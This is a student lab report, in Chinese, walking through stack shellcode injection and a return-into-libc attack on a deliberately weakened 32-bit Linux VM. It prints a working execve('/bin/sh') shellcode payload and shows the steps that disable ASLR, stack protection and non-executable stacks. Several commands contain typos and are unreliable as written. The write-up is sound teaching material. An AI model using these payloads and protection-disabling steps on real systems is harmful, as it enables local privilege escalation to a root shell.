20145203盖泽双《网络对抗技术》拓展：注入:shellcode及return-into-libc攻击

一、注入:shellcode

1、编写一段用于获取Shellcode的C语言代码

   shellcode就是一段机器指令（code），通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），它被用来发送到服务器利用其特定漏洞获取其权限。 Shellcode是溢出程序和蠕虫病毒的核心，只对没有打补丁的主机有用武之地。在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，Shellcode本质上可以使用任何编程语言，但我们需要的是提取其中的机器码。

2、设置实践成功的必备环境

GCC中的编译器有堆栈保护技术（结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。）所以我们应当采取一些措施确保我们的shellcode可以注入成功。

（1）在虚拟机中下载安装execstack

apt-cache search execstack

apt-get install execstack

execstack --help

（2）设置堆栈可执行

execstack -s 20145203pwn3

（3）查询文件的堆栈是否可执行

execstack -q 20145203pwn3

（4）关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space

3、构造要注入的payload

   Linux下有两种基本构造攻击buf的方法：①retaddr+nop+shellcode②nop+shellcode+retaddr。retaddr在缓冲区的位置是固定的，缓冲区小就采用第一种方法，缓冲区大就采用第二种方法。

（1）构造badbuf字符串

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注意：

①我们的攻击buf结构应为：nops+shellcode+retaddr。

nop作用：一，填充，二，作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

②我们一开始不清楚应该将这段shellcode代码注入到哪个地方，所以最后四位的地址暂时用x04\x03\x02\x01\来代替。

③最后一个字符不可以是\x0a。否则\x0a代表回车，程序将直接执行，我们没有办法进行调试。

(2)用我们构造的badbuf字符串来执行20145203pwn3

cat input_shellcode;cat

4、经过调试确定x04\x03\x02\x01\处到底是什么

（1）重新打开一个窗口，得到正在运行的程序的进程号。

ps -ef | grep 20145203pwn3

（2）对其进行GDB调试，并设置断点。

(gdb) disassemble foo

(gdb) break *0x080484ae

（3）在程序执行窗口按回车键运行程序。

（4）查看%esp中的地址并推断出我们所注入的shellcode的起始地址。

5、重新修改shellcode代码，并运行查看结果

（1）修改shellcode代码。

（2）运行修改过的可执行文件,得到shellcode成功注入的结果！

二、return-into-libc攻击

   为了对抗将shellcode注入到堆栈的的攻击，现在电脑的防御机制采用了非执行堆栈技术，这种技术使得堆栈上的恶意代码不可执行。因此我们又将shellcode攻击不断改进，想出了return-into-libc攻击。

   libc是Linux下的的函数库,return-into-libc攻击顾名思义就是将漏洞程序跳转到它的函数库中，从而不被发现地破坏漏洞程序的正常运行。

1、该实验需要在linux32位的环境下进行，所以进入到此环境中。

linux32

/bin/bash

2、关闭地址随机化，以确保攻击成功。

sudo sysctl -w kernel.randmize_va_space=0

3、让 /bin/sh 指向zsh程序，关闭其保护措施，以获得shell中的root权限。

ln -s zsh sh

4、将漏洞retlib.c文件保存到/tmp目录下。

   retlib.c 程序作用：漏洞程序，我们通过控制badfile文件来产生root shell。

cd /tmp

vim retlib.c

5、编译程序，并运用-fno-stack-protector关闭栈保护机制。

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

6、设置SET-UID，设置su以root身份执行。

chmod u+s reylib

7、编辑并编译漏洞程序getenvaddr.c。

   getenvaddr.c 程序作用：漏洞程序，用于读取环境变量。

vim getenvaddr.c

gcc -m32 -o getenvaddr getenvadr.c

8、编写攻击程序exploit.c保存到/tmp目录下。

    exploit.c 程序作用：攻击程序，程序代码段中有 BIN_SH、system、exit 的地址，我们通过修改这些地址，利用retlib程序的漏洞来进行攻击。

9、获取 BIN_SH 地址。

./getenvaddr BIN_SH ./retlib

10、编译exploit.c程序并进行调试。

gcc -m32 -g -0 exploit exploit.c

gdb -q ./exploit

11、获取system 和 exit 的地址。

(gdb) p system

(gdb) p exit

12、修改 exploit.c 文件中的内存地址。

13、.删除刚才调试编译的 exploit 程序和 badfile 文件，重新编译修改后的 exploit.c。

rm exploit

rm badfile

14、先运行攻击程序 exploit，再运行漏洞程序 retlib，攻击成功!